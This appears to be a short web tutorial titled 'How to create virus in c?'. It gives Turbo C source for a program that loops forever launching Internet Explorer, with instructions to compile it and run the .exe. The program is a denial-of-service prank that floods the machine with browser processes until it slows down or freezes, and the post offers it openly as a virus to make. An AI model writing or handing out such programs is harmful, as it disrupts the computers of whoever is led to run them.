How to create virus in c?

How to create virus in c?

(SHURU HO JAOO YAROO)
Write a c program such that when we will click its .exe file then it will open internet explorer at infinite times ?
Ans:
Write the following program in TURBO C.

void main(void)
{
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
}

Save the above .Let file name is internet.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window where you have saved the internet.c ( default directory c:\tc\bin)and double click the its .exe file(internet.exe).